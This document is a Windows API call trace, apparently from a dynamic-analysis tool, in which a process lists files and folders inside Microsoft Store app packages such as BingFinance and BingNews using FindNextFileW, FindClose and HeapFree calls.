	[0089.502] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa041d8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI0B0E~1.0_N")) returned 1
	[0089.505] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0089.505] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdf5cafa, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdf5cafa, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdf5cafa, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.507] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0089.507] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa043ddd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0089.507] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0089.507] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0089.509] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa095f16, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIACEC~1.0_N")) returned 1
	[0089.511] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0089.511] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x773fa578, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.601] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0089.601] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eed6166, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa097114, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0089.602] FindClose (in: hFindFile=0x811e08 | out: hFindFile=0x811e08) returned 1
	[0089.602] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0089.603] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7746cb84, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa097cbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI0B51~1.0_X")) returned 1
	[0089.605] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.605] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x298e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.610] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0089.610] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x774b901c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa14080b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0089.616] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0089.617] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774df276, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x774df276, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Money_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1
	[0089.617] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0089.618] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0dcf11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0
	[0089.618] FindClose (in: hFindFile=0x811f08 | out: hFindFile=0x811f08) returned 1
	[0089.618] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.619] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0089.619] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.619] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20b499, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JsonResources", cAlternateFileName="JSONRE~1")) returned 1
	[0090.417] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0090.417] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x211d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1
	[0090.426] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0090.426] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20cf06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0090.426] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0090.427] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0090.427] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x776cf25e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0090.448] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28dd9f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1
	[0090.448] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28e968, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1
	[0090.449] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28f394, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1
	[0090.450] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.450] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28fe63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1
	[0090.450] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.450] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2907e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1
	[0090.450] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.450] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2907e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0
	[0090.450] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0090.450] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.450] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28c5b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0
	[0090.450] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0090.450] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0090.452] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20ead2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0
	[0090.452] FindClose (in: hFindFile=0x811a08 | out: hFindFile=0x811a08) returned 1
	[0090.452] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0090.452] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2911b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0090.454] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.454] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa292432, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0
	[0090.454] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0090.456] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.456] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291d28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0090.456] FindClose (in: hFindFile=0x811a48 | out: hFindFile=0x811a48) returned 1
	[0090.456] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0090.456] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291621, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0090.456] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0090.456] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0090.458] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.856] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0090.856] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77bb9eb0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0090.870] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0090.870] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77be010a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1
	[0090.870] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0090.870] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0986e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0090.870] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0090.870] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0090.872] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293665, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIADDF~1.0_N")) returned 1
	[0090.976] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0090.976] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047af3f, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7047af3f, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7047af3f, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2967, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.976] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0090.976] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa2942e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.976] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0090.976] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0090.976] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d4c9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI13A6~1.0_X")) returned 1
	[0090.978] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
